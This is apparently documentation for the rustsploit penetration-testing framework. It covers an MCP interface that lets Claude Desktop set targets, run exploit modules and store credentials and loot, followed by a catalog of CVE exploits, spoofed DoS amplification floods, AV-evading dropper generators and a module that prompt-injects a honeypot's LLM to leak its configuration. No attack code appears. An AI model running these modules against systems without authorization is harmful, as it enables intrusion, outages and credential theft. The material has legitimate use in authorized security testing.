| `initialize` | Request | Capability negotiation handshake |
|
||||
| `initialized` | Notification | Client acknowledgement (no response) |
|
||||
| `tools/list` | Request | List all available tools |
|
||||
| `tools/call` | Request | Execute a tool by name |
|
||||
| `resources/list` | Request | List all available resources |
|
||||
| `resources/read` | Request | Read a resource by URI |
|
||||
|
||||
---
|
||||
|
||||
## Tools (42)
|
||||
|
||||
### Module Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_modules` | List all available modules, optionally filtered by category | -- |
|
||||
| `search_modules` | Search modules by keyword (case-insensitive substring match) | `query` |
|
||||
| `module_info` | Get metadata for a specific module (name, description, authors, references, rank) | `module_path` |
|
||||
| `check_module` | Run a non-destructive vulnerability check against a target | `module_path`, `target` |
|
||||
|
||||
### Target Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `set_target` | Set the global target (IP, hostname, CIDR, or comma-separated list) | `target` |
|
||||
| `get_target` | Get the current global target, size, and subnet status | -- |
|
||||
| `clear_target` | Clear the global target | -- |
|
||||
|
||||
### Execution
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `run_module` | Execute a module against a target, returning captured output | `module_path`, `target` |
|
||||
|
||||
Optional params for `run_module`: `port` (integer), `verbose` (boolean), `prompts` (object of key-value string overrides).
|
||||
|
||||
### Credential Tools
|
||||
|
||||
Credentials are per-workspace -- each workspace maintains its own credential store at `~/.rustsploit/workspaces/{name}_creds.json`. Switching workspaces via `switch_workspace` loads that workspace's credentials.
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_creds` | List all stored credentials in the current workspace | -- |
|
||||
| `search_creds` | Search credentials by host, service, or username in the current workspace | `query` |
|
||||
| `add_cred` | Add a credential to the current workspace's store | `host`, `username`, `secret` |
|
||||
| `delete_cred` | Delete a credential by its ID from the current workspace | `id` |
|
||||
|
||||
Optional params for `add_cred`: `port` (integer), `service` (string), `cred_type` (password/hash/key/token).
|
||||
|
||||
### Workspace Host and Service Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_hosts` | List all tracked hosts in the current workspace | -- |
|
||||
| `add_host` | Add or update a host in the workspace | `ip` |
|
||||
| `delete_host` | Delete a host (and its services) from the workspace | `ip` |
|
||||
| `list_services` | List all tracked services in the current workspace | -- |
|
||||
| `add_service` | Add or update a service in the workspace | `host`, `port`, `service_name` |
|
||||
| `delete_service` | Delete a service by host and port | `host`, `port` |
|
||||
|
||||
Optional params for `add_host`: `hostname`, `os_guess`. Optional params for `add_service`: `protocol` (default: tcp), `version`.
|
||||
|
||||
### Loot Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_loot` | List all stored loot entries | -- |
|
||||
| `search_loot` | Search loot by host, type, or description | `query` |
|
||||
| `add_loot` | Store a loot entry (text data) | `host`, `loot_type`, `data` |
|
||||
| `delete_loot` | Delete a loot entry by ID | `id` |
|
||||
|
||||
Optional params for `add_loot`: `description`.
|
||||
|
||||
### Global Options Tools
|
||||
|
||||
Options are per-workspace -- they are scoped to the current workspace and stored at `~/.rustsploit/workspaces/{name}_options.json`. Switching workspaces via `switch_workspace` loads that workspace's options.
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_options` | List all persistent global options (setg values) for the current workspace | -- |
|
||||
| `set_option` | Set a persistent global option in the current workspace | `key`, `value` |
|
||||
| `unset_option` | Remove a persistent global option from the current workspace | `key` |
|
||||
|
||||
### Job Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_jobs` | List active background jobs | -- |
|
||||
| `kill_job` | Kill a background job by ID | `id` (integer) |
|
||||
|
||||
### Workspace Management Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_workspaces` | List all available workspaces | -- |
|
||||
| `switch_workspace` | Switch to a different workspace (creates if needed) | `name` |
|
||||
|
||||
### Export
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `export_data` | Export full engagement data as JSON | -- |
|
||||
|
||||
---
|
||||
|
||||
## Resources (7)
|
||||
|
||||
Resources provide read-only access to framework state.
|
||||
|
||||
| URI | Name | Description | MIME Type |
|
||||
|-----|------|-------------|-----------|
|
||||
| `rustsploit:///modules` | Module Catalog | Full module list with `info()` metadata | `application/json` |
|
||||
| `rustsploit:///workspace` | Current Workspace | Tracked hosts and services | `application/json` |
|
||||
| `rustsploit:///credentials` | Credentials | Credential list with secrets redacted | `application/json` |
|
||||
| `rustsploit:///loot` | Loot Catalog | Loot metadata (no file content) | `application/json` |
|
||||
| `rustsploit:///options` | Global Options | Persistent setg key-value pairs | `application/json` |
|
||||
| `rustsploit:///target` | Current Target | Target value, size, and subnet flag | `application/json` |
|
||||
| `rustsploit:///status` | Framework Status | Module count, workspace, host/cred/loot counts | `application/json` |
|
||||
|
||||
---
|
||||
|
||||
## Claude Desktop Configuration
|
||||
|
||||
Add the following to your `claude_desktop_config.json`:
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"rustsploit": {
|
||||
"command": "/path/to/rustsploit",
|
||||
"args": ["--mcp"]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Replace `/path/to/rustsploit` with the absolute path to your compiled binary (e.g., `target/release/rustsploit`).
|
||||
|
||||
---
|
||||
|
||||
## Security
|
||||
|
||||
- **Stdio transport only** -- no network listener, no authentication needed (single-user process)
|
||||
- **Target injection prevention** -- `run_module` strips any `target` key from the `prompts` object to prevent SSRF via prompt injection
|
||||
- **Module validation** -- module paths are verified against the build-time discovered module list before execution
|
||||
- **Credential redaction** -- the `rustsploit:///credentials` resource shows only the first 3 characters of each secret
|
||||
- **No file system writes** -- MCP tools return data inline; no direct file read/write operations are exposed
|
||||
- **Concurrency bounded** -- module execution is limited by the framework's semaphore (CPU count, minimum 4 concurrent)
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
src/mcp/
|
||||
mod.rs -- Module re-exports
|
||||
types.rs -- JSON-RPC 2.0 types, MCP capability structs, Tool/Resource/ToolResult types
|
||||
server.rs -- Stdio event loop, request routing, response serialization
|
||||
tools.rs -- 42 tool definitions and dispatch handlers
|
||||
resources.rs -- 7 resource definitions and read handlers
|
||||
client.rs -- MCP client implementation (for connecting to external MCP servers)
|
||||
```
|
||||
|
||||
### Request Flow
|
||||
|
||||
1. `server.rs` reads a JSON line from stdin
|
||||
2. Parses it as a `JsonRpcRequest`
|
||||
3. Routes by method name: `initialize`, `tools/list`, `tools/call`, `resources/list`, `resources/read`
|
||||
4. Handler extracts typed parameters from `params`
|
||||
5. Calls framework APIs (same functions used by the REST API and interactive shell)
|
||||
6. Returns a `JsonRpcResponse` serialized as a single JSON line on stdout
|
||||
|
||||
---
|
||||
|
||||
## Example Session
|
||||
|
||||
```
|
||||
-> {"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
|
||||
<- {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{},"resources":{}},"serverInfo":{"name":"rustsploit-mcp","version":"0.4.8"}}}
|
||||
|
||||
-> {"jsonrpc":"2.0","method":"initialized","params":{}}
|
||||
|
||||
-> {"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}
|
||||
<- {"jsonrpc":"2.0","id":2,"result":{"tools":[...]}}
|
||||
|
||||
-> {"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"set_target","arguments":{"target":"192.168.1.1"}}}
|
||||
<- {"jsonrpc":"2.0","id":3,"result":{"content":[{"type":"text","text":"Target set to: 192.168.1.1"}]}}
|
||||
|
||||
-> {"jsonrpc":"2.0","id":4,"method":"resources/read","params":{"uri":"rustsploit:///status"}}
|
||||
<- {"jsonrpc":"2.0","id":4,"result":{"uri":"rustsploit:///status","mimeType":"application/json","text":"{...}"}}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
> The MCP server uses the same framework internals as the REST API and interactive shell. Module execution, credential storage, workspace tracking, and all other operations produce identical results regardless of the interface used.
|
||||
@@ -0,0 +1,484 @@
|
||||
# Module Catalog
|
||||
|
||||
All modules live under `src/modules/` and are auto-discovered by `build.rs`. Use the shell's `modules` command or `find <keyword>` for the live list. Use `info <module>` to see metadata (CVE, author, rank) if available.
|
||||
|
||||
> **Module categories:** `exploits/`, `scanners/`, `creds/`, `plugins/` -- all auto-discovered at build time. Adding a new subdirectory under `src/modules/` automatically creates a new category.
|
||||
|
||||
**Totals:** 183 exploit modules, 27 scanners, 29 credential modules, 1 plugin.
|
||||
|
||||
---
|
||||
|
||||
## Exploits
|
||||
|
||||
### Bluetooth
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/bluetooth/wpair` | Hijacks Bluetooth accessories via Google Fast Pair protocol flaw allowing unauthorized bonding, account key injection, and audio interception |
|
||||
|
||||
### Cameras
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/cameras/abus/abussecurity_camera_cve202326609variant1` | Abus security camera LFI, RCE, and SSH root access (CVE-2023-26609) |
|
||||
| `exploits/cameras/acti/acm_5611_rce` | Command injection in ACTi ACM-5611 video cameras for RCE |
|
||||
| `exploits/cameras/avtech/cve_2024_7029_avtech_camera` | AVTECH IP camera remote code execution (CVE-2024-7029) |
|
||||
| `exploits/cameras/hikvision/hikvision_rce_cve_2021_36260` | Hikvision IP camera command injection RCE (CVE-2021-36260) |
|
||||
| `exploits/cameras/reolink/reolink_rce_cve_2019_11001` | Reolink camera authenticated OS command injection via TestEmail (CVE-2019-11001) |
|
||||
| `exploits/cameras/uniview/uniview_nvr_pwd_disclosure` | Uniview NVR remote credential extraction and decoding |
|
||||
|
||||
### Cowrie (SSH Honeypot)
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/cowrie/ansi_log_injection` | Injects ANSI/OSC escape sequences into cowrie session logs via unsanitized crontab arguments for terminal-level code execution on replay |
|
||||
| `exploits/cowrie/llm_prompt_injection` | Exploits cowrie LLM mode where attacker commands are concatenated into the system prompt, coercing the LLM to echo real configuration data |
|
||||
| `exploits/cowrie/ssrf_ipv6` | Bypasses cowrie SSRF blocklist via IPv6 addresses (fc00::/7, fe80::/10, ::ffff:0:0/96) and DNS-rebinding TOCTOU |
|
||||
|
||||
### Crypto
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/crypto/geth_dos_cve_2026_22862` | Go-Ethereum ECIES panic DoS via malformed encrypted messages (CVE-2026-22862) |
|
||||
| `exploits/crypto/heartbleed` | OpenSSL Heartbleed memory leak exploitation (CVE-2014-0160) |
|
||||
|
||||
### Dionaea (Honeypot)
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/dionaea/mqtt_underflow` | Malformed MQTT PUBLISH with TopicLength exceeding MessageLength triggers parser desync/UnicodeDecodeError in dionaea |
|
||||
| `exploits/dionaea/mssql_dos` | Crafted TDS7 LOGIN7 packet with misaligned password slice triggers unhandled UnicodeDecodeError in dionaea MSSQL handler |
|
||||
| `exploits/dionaea/mysql_sqli` | MySQL COM_FIELD_LIST with SQLite injection in table name leaks dionaea internal DB schema |
|
||||
| `exploits/dionaea/tftp_crash` | Malformed TFTP RRQ without trailing NUL causes struct.error in dionaea options parser |
|
||||
|
||||
### DoS / Stress Testing
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/dos/connection_exhaustion_flood` | FD-bounded TCP connection exhaustion with connect-and-drop |
|
||||
| `exploits/dos/dns_amplification` | Spoofed DNS ANY queries to open resolvers for ~100x amplification |
|
||||
| `exploits/dos/http_flood` | High-speed HTTP GET/POST flood with User-Agent rotation and cache busting |
|
||||
| `exploits/dos/icmp_flood` | Raw ICMP echo request flood with optional source IP spoofing |
|
||||
| `exploits/dos/memcached_amplification` | Spoofed memcached UDP stats requests for ~51,000x amplification |
|
||||
| `exploits/dos/ntp_amplification` | Spoofed NTP MON_GETLIST_1 requests for ~556x amplification |
|
||||
| `exploits/dos/null_syn_exhaustion` | Raw SYN flood with null-byte payloads, IP spoofing, >1M PPS |
|
||||
| `exploits/dos/rudy` | R.U.D.Y. attack: slow POST body drip to exhaust server connection pools |
|
||||
| `exploits/dos/slowloris` | Holds connections open with partial HTTP headers to exhaust connection pool |
|
||||
| `exploits/dos/ssdp_amplification` | Spoofed SSDP M-SEARCH requests for ~30x amplification |
|
||||
| `exploits/dos/syn_ack_flood` | SYN packets to reflectors with spoofed victim source IP for SYN-ACK reflection |
|
||||
| `exploits/dos/tcp_connection_flood` | High-concurrency TCP connection flood with optional RST close and HTTP payload |
|
||||
| `exploits/dos/telnet_iac_flood` | Telnet IAC negotiation flood exploiting unbounded SB/SE parsing and rapid WILL/DO option cycling |
|
||||
| `exploits/dos/udp_flood` | High-speed UDP flood with random, null, and pattern payload modes |
|
||||
|
||||
### Frameworks
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/frameworks/apache_camel/cve_2025_27636_camel_header_injection` | Apache Camel < 4.10.2 HTTP header injection via Simple expression language for OS command execution (CVE-2025-27636) |
|
||||
| `exploits/frameworks/apache_tomcat/catkiller_cve_2025_31650` | Apache Tomcat memory leak via invalid HTTP/2 priority headers (CVE-2025-31650) |
|
||||
| `exploits/frameworks/apache_tomcat/cve_2025_24813_apache_tomcat_rce` | Apache Tomcat deserialization RCE (CVE-2025-24813) |
|
||||
| `exploits/frameworks/apache_tomcat/cve_2025_24813_tomcat_put_rce` | Apache Tomcat unauthenticated RCE via partial PUT and Java deserialization (CVE-2025-24813) |
|
||||
| `exploits/frameworks/exim/exim_etrn_sqli_cve_2025_26794` | Exim ETRN time-based SQL injection with SQLite backend (CVE-2025-26794) |
|
||||
| `exploits/frameworks/http2/cve_2023_44487_http2_rapid_reset` | HTTP/2 Rapid Reset DoS via rapid stream creation and reset (CVE-2023-44487) |
|
||||
| `exploits/frameworks/jenkins/jenkins_2_441_lfi` | Jenkins CLI arbitrary file read via args4j @-expansion (CVE-2024-23897) |
|
||||
| `exploits/frameworks/jenkins/jenkins_args4j_rce_cve_2024_24549` | Jenkins CLI args4j file leak via connect-node command error messages |
|
||||
| `exploits/frameworks/jenkins/jenkins_cli_rce_cve_2024_23897` | Jenkins CLI argument injection for arbitrary file read (CVE-2024-23897) |
|
||||
| `exploits/frameworks/mongo/mongobleed` | MongoDB zlib decompression heap memory disclosure (CVE-2025-14847) |
|
||||
| `exploits/frameworks/nginx/nginx_pwner` | Nginx misconfiguration scanner: alias traversal, CRLF injection, PHP detection, and more |
|
||||
| `exploits/frameworks/php/cve_2024_4577` | PHP CGI argument injection on Windows XAMPP for RCE (CVE-2024-4577) |
|
||||
| `exploits/frameworks/php/cve_2025_51373_php_rce` | PHP CGI on Windows soft hyphen code-page conversion allows argument injection for auto_prepend_file RCE (CVE-2025-51373) |
|
||||
| `exploits/frameworks/wsus/cve_2025_59287_wsus_rce` | Unauthenticated RCE in Windows Server Update Services (CVE-2025-59287) |
|
||||
|
||||
### FTP
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/ftp/ftp_bounce_test` | FTP bounce attack test via PORT commands to third-party hosts |
|
||||
| `exploits/ftp/pachev_ftp_path_traversal_1_0` | Directory traversal in Pachev FTP Server 1.0 to read files outside FTP root |
|
||||
|
||||
### HoneyTrap (Honeypot)
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/honeytrap/docker_panic` | POST /v1.40/images/create without fromImage causes nil map panic in HoneyTrap Docker emulation — daemon exit |
|
||||
| `exploits/honeytrap/ftp_panic` | Malformed FTP PORT command with insufficient fields causes slice out-of-range panic in HoneyTrap — daemon exit |
|
||||
|
||||
### IPMI
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/ipmi/ipmi_enum_exploit` | IPMI enumeration with cipher 0 bypass, default credential brute force, and RAKP hash dumping |
|
||||
|
||||
### Network Infrastructure -- Commvault
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/commvault/cve_2025_34028_commvault_rce` | Commvault Command Center < 11.38.0 unauthenticated path traversal file upload to RCE (CVE-2025-34028) |
|
||||
|
||||
### Network Infrastructure -- Citrix
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/citrix/cve_2025_5777_citrixbleed2` | Citrix NetScaler ADC/Gateway out-of-bounds read in authentication endpoint |
|
||||
|
||||
### Network Infrastructure -- F5
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/f5/cve_2025_53521_f5_bigip_rce` | Unauthenticated RCE in F5 BIG-IP Access Policy Manager (CVE-2025-53521) |
|
||||
|
||||
### Network Infrastructure -- Fortinet
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/fortinet/forticloud_sso_auth_bypass_cve_2026_24858` | FortiCloud SSO authentication bypass via reused SSO tokens (CVE-2026-24858) |
|
||||
| `exploits/network_infra/fortinet/fortigate_rce_cve_2024_21762` | FortiOS SSL VPN pre-auth heap-based buffer overflow RCE (CVE-2024-21762) |
|
||||
| `exploits/network_infra/fortinet/fortimanager_rce_cve_2024_47575` | FortiManager fgfmd unauthenticated RCE via FGFM registration requests (CVE-2024-47575) |
|
||||
| `exploits/network_infra/fortinet/fortios_auth_bypass_cve_2022_40684` | FortiOS/FortiProxy admin interface auth bypass via crafted HTTP headers (CVE-2022-40684) |
|
||||
| `exploits/network_infra/fortinet/fortios_heap_overflow_cve_2023_27997` | FortiOS SSL VPN out-of-bounds write RCE via /remote/hostcheck_validate (CVE-2023-27997) |
|
||||
| `exploits/network_infra/fortinet/fortios_ssl_vpn_cve_2018_13379` | FortiOS SSL VPN path traversal to leak session files with cleartext credentials (CVE-2018-13379) |
|
||||
| `exploits/network_infra/fortinet/fortisiem_rce_cve_2025_64155` | FortiSIEM phMonitor unauthenticated RCE via argument injection in XML/SSL protocol (CVE-2025-64155) |
|
||||
| `exploits/network_infra/fortinet/fortiweb_rce_cve_2021_22123` | FortiWeb authenticated command injection via SAML server-name parameter (CVE-2021-22123) |
|
||||
| `exploits/network_infra/fortinet/fortiweb_sqli_rce_cve_2025_25257` | FortiWeb unauthenticated SQL injection to webshell deployment (CVE-2025-25257) |
|
||||
|
||||
### Network Infrastructure -- HPE
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/hpe/cve_2025_37164_hpe_oneview_rce` | Unauthenticated RCE via REST API command injection in HPE OneView (CVE-2025-37164) |
|
||||
|
||||
### Network Infrastructure -- Kubernetes
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/kubernetes/cve_2025_1974_ingress_nginx_rce` | ingress-nginx admission webhook config injection via annotations for arbitrary NGINX config, file read, and RCE (CVE-2025-1974) |
|
||||
|
||||
### Network Infrastructure -- Ivanti
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/ivanti/cve_2025_0282_ivanti_preauth_rce` | Pre-authentication buffer overflow in Ivanti Connect Secure (CVE-2025-0282) |
|
||||
| `exploits/network_infra/ivanti/cve_2025_22457_ivanti_ics_rce` | Stack-based buffer overflow in Ivanti Connect Secure via X-Forwarded-For (CVE-2025-22457) |
|
||||
| `exploits/network_infra/ivanti/ivanti_connect_secure_stack_based_buffer_overflow` | Ivanti Connect Secure stack-based buffer overflow, CVSS 9.0 |
|
||||
| `exploits/network_infra/ivanti/ivanti_epmm_cve_2023_35082` | Ivanti EPMM unauthenticated API access to user information (CVE-2023-35082) |
|
||||
| `exploits/network_infra/ivanti/ivanti_ics_auth_bypass_cve_2024_46352` | Ivanti Connect Secure auth bypass via TOTP backup code path traversal (CVE-2024-46352) |
|
||||
| `exploits/network_infra/ivanti/ivanti_neurons_rce_cve_2025_22460` | Ivanti Neurons for ITSM unauthenticated RCE via deserialization (CVE-2025-22460) |
|
||||
|
||||
### Network Infrastructure -- QNAP
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/qnap/qnap_qts_rce_cve_2024_27130` | QNAP QTS stack buffer overflow via share.cgi for RCE (CVE-2024-27130) |
|
||||
|
||||
### Network Infrastructure -- SonicWall
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/sonicwall/cve_2025_40602_sonicwall_sma_rce` | SonicWall SMA1000 series remote code execution (CVE-2025-40602) |
|
||||
|
||||
### Network Infrastructure -- Trend Micro
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/trend_micro/cve_2025_5777` | Trend Micro MsgReceiver DLL loading for unauthenticated RCE on port 20001 |
|
||||
| `exploits/network_infra/trend_micro/cve_2025_69258` | Trend Micro Apex Central unauthenticated command injection via Login.aspx |
|
||||
| `exploits/network_infra/trend_micro/cve_2025_69259` | Trend Micro MsgReceiver out-of-bounds read DoS (CVE-2025-69259) |
|
||||
| `exploits/network_infra/trend_micro/cve_2025_69260` | Trend Micro MsgReceiver unchecked NULL return value DoS (CVE-2025-69260) |
|
||||
|
||||
### Network Infrastructure -- VMware
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/vmware/esxi_auth_bypass_cve_2024_37085` | ESXi authentication bypass via Active Directory 'ESX Admins' group manipulation (CVE-2024-37085) |
|
||||
| `exploits/network_infra/vmware/esxi_vm_escape_check` | ESXi VM escape chain vulnerability check and IOC detection (CVE-2025-22224/22225/22226) |
|
||||
| `exploits/network_infra/vmware/esxi_vsock_client` | VSOCK client for communicating with VSOCKpuppet backdoor on compromised ESXi hosts |
|
||||
| `exploits/network_infra/vmware/vcenter_backup_rce` | vCenter Server authenticated RCE via flag injection in backup.validate API (CVSS 7.2) |
|
||||
| `exploits/network_infra/vmware/vcenter_file_read` | vCenter Server authenticated partial arbitrary file read via RVC command (CVSS 4.9) |
|
||||
| `exploits/network_infra/vmware/vcenter_rce_cve_2024_37079` | vCenter Server heap-overflow RCE via DCERPC protocol on port 443 (CVE-2024-37079) |
|
||||
|
||||
### Payload Generators
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/payloadgens/batgen` | Creates multi-stage .bat dropper chains with PowerShell download and execution |
|
||||
| `exploits/payloadgens/lnkgen` | Malicious Windows LNK files for SMB NTLMv2-SSP hash disclosure (CVE-2025-50154, CVE-2025-59214) |
|
||||
| `exploits/payloadgens/narutto_dropper` | Polymorphic 3-stage stealth droppers with LOLBAS support and anti-VM evasion |
|
||||
| `exploits/payloadgens/payload_encoder` | Payload encoding (XOR, base64, hex, zero-width, etc.) for AV evasion |
|
||||
| `exploits/payloadgens/polymorph_dropper` | 3-stage polymorphic payload chain using Task Scheduler for persistence |
|
||||
|
||||
### Routers -- D-Link
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/dlink/dlink_dcs_930l_auth_bypass` | D-Link DCS-930L/932L unauthenticated config disclosure and credential extraction |
|
||||
|
||||
### Routers -- Netgear
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/netgear/netgear_r6700v3_rce_cve_2022_27646` | Netgear R6700v3 pre-auth buffer overflow RCE in circled daemon (CVE-2022-27646) |
|
||||
|
||||
### Routers -- Palo Alto
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/palo_alto/panos_authbypass_cve_2025_0108` | PAN-OS auth bypass via path traversal in authentication mechanism (CVE-2025-0108) |
|
||||
| `exploits/routers/palo_alto/panos_expedition_rce_cve_2024_9463` | Palo Alto Expedition unauthenticated OS command injection (CVE-2024-9463) |
|
||||
| `exploits/routers/palo_alto/panos_globalprotect_rce_cve_2024_3400` | PAN-OS GlobalProtect gateway unauthenticated OS command injection (CVE-2024-3400) |
|
||||
|
||||
### Routers -- Ruijie
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/ruijie/ruijie_auth_bypass_rce_cve_2023_34644` | Ruijie device auth bypass to RCE on routers, switches, and access points (CVE-2023-34644) |
|
||||
| `exploits/routers/ruijie/ruijie_reyee_ssrf_cve_2024_48874` | Ruijie Reyee cloud-connected device SSRF (CVE-2024-48874) |
|
||||
| `exploits/routers/ruijie/ruijie_rg_ew_login_bypass_cve_2023_4415` | Ruijie RG-EW1200G auth bypass via crafted JSON login request (CVE-2023-4415) |
|
||||
| `exploits/routers/ruijie/ruijie_rg_ew_password_reset_cve_2023_4169` | Ruijie RG-EW1200G unauthenticated admin password reset (CVE-2023-4169) |
|
||||
| `exploits/routers/ruijie/ruijie_rg_ew_update_version_rce_cve_2021_43164` | Ruijie RG-EW Series firmware update command injection RCE (CVE-2021-43164) |
|
||||
| `exploits/routers/ruijie/ruijie_rg_uac_ci_cve_2024_4508` | Ruijie RG-UAC unauthenticated command injection via static_route_edit (CVE-2024-4508) |
|
||||
| `exploits/routers/ruijie/ruijie_rsr_router_ci_cve_2024_31616` | Ruijie RSR10-01G-T-S authenticated command injection via diagnostics (CVE-2024-31616) |
|
||||
|
||||
### Routers -- Tenda
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/tenda/tenda_cp3_rce_cve_2023_30353` | Tenda CP3 IP camera unauthenticated RCE via YGMP_CMD on UDP 5012 (CVE-2023-30353) |
|
||||
|
||||
### Routers -- TP-Link
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/tplink/tapo_c200_vulns` | TP-Link Tapo C200 multiple vulns: WiFi info leak, ONVIF overflow, HTTPS integer overflow |
|
||||
| `exploits/routers/tplink/tplink_archer_c2_c20i_rce` | TP-Link Archer C2/C20i authenticated command injection via diagnostics |
|
||||
| `exploits/routers/tplink/tplink_archer_c9_password_reset` | TP-Link Archer C9/C60 unauthenticated password reset via predictable PRNG |
|
||||
| `exploits/routers/tplink/tplink_archer_rce_cve_2024_53375` | TP-Link Archer/Deco/Tapo authenticated command injection via OwnerId (CVE-2024-53375) |
|
||||
| `exploits/routers/tplink/tplink_ax1800_rce_cve_2024_53375` | TP-Link Archer AX1800 authenticated command injection via NTP server field |
|
||||
| `exploits/routers/tplink/tplink_deco_m4_rce` | TP-Link Deco M4 default credential check and ping command injection |
|
||||
| `exploits/routers/tplink/tplink_tapo_c200` | TP-Link Tapo C200 IP camera command injection via setLanguage method |
|
||||
| `exploits/routers/tplink/tplink_vigi_c385_rce_cve_2026_1457` | TP-Link VIGI C385 authenticated buffer overflow RCE (CVE-2026-1457) |
|
||||
| `exploits/routers/tplink/tp_link_vn020_dos` | TP-Link VN020 UPnP DoS via malformed AddPortMapping SOAP request |
|
||||
| `exploits/routers/tplink/tplink_wdr740n_backdoor` | TP-Link WDR740N debug page command execution with hardcoded credentials |
|
||||
| `exploits/routers/tplink/tplink_wdr740n_path_traversal` | TP-Link WDR740N/ND path traversal for arbitrary file read via /help/ |
|
||||
| `exploits/routers/tplink/tplink_wdr842n_configure_disclosure` | TP-Link WDR842N config download and DES decryption for credential extraction |
|
||||
| `exploits/routers/tplink/tplink_wr740n_dos` | TP-Link TL-WR740N web server buffer overflow DoS |
|
||||
|
||||
### Routers -- Ubiquiti
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/ubiquiti/ubiquiti_edgerouter_ci_cve_2023_2376` | Ubiquiti EdgeRouter X command injection in web management (CVE-2023-2376) |
|
||||
|
||||
### Routers -- ZTE
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/zte/zte_zxv10_h201l_rce_authenticationbypass` | ZTE ZXV10 H201L auth bypass via config leak and DDNS command injection |
|
||||
|
||||
### Routers -- Zyxel
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/zyxel/zyxel_cpe_ci_cve_2024_40890` | Zyxel legacy CPE unauthenticated HTTP command injection (CVE-2024-40890) |
|
||||
|
||||
### Sample
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/sample_exploit` | Template exploit module demonstrating info(), check(), and run() with cfg_prompt integration |
|
||||
|
||||
### SafeLine (WAF)
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/safeline/cookie_attributes` | SafeLine session cookie lacks HttpOnly, Secure, and SameSite attributes enabling XSS session theft and CSRF |
|
||||
| `exploits/safeline/nginx_injection` | SafeLine tcontrollerd inserts Ports field verbatim into nginx config via fmt.Sprintf for arbitrary directive injection |
|
||||
| `exploits/safeline/no_auth_probe` | Detects SafeLine NO_AUTH env bypass where `len(noAuth) >= 0` (always true) disables auth middleware |
|
||||
| `exploits/safeline/pre_auth_tfa` | Fresh SafeLine install unauthenticated TFA secret rotation via /api/OTPUrl for full account takeover |
|
||||
| `exploits/safeline/session_secret_entropy` | SafeLine JWT signing secret generated with math/rand seeded by time.Now().UnixNano() — as low as 39 bits effective entropy |
|
||||
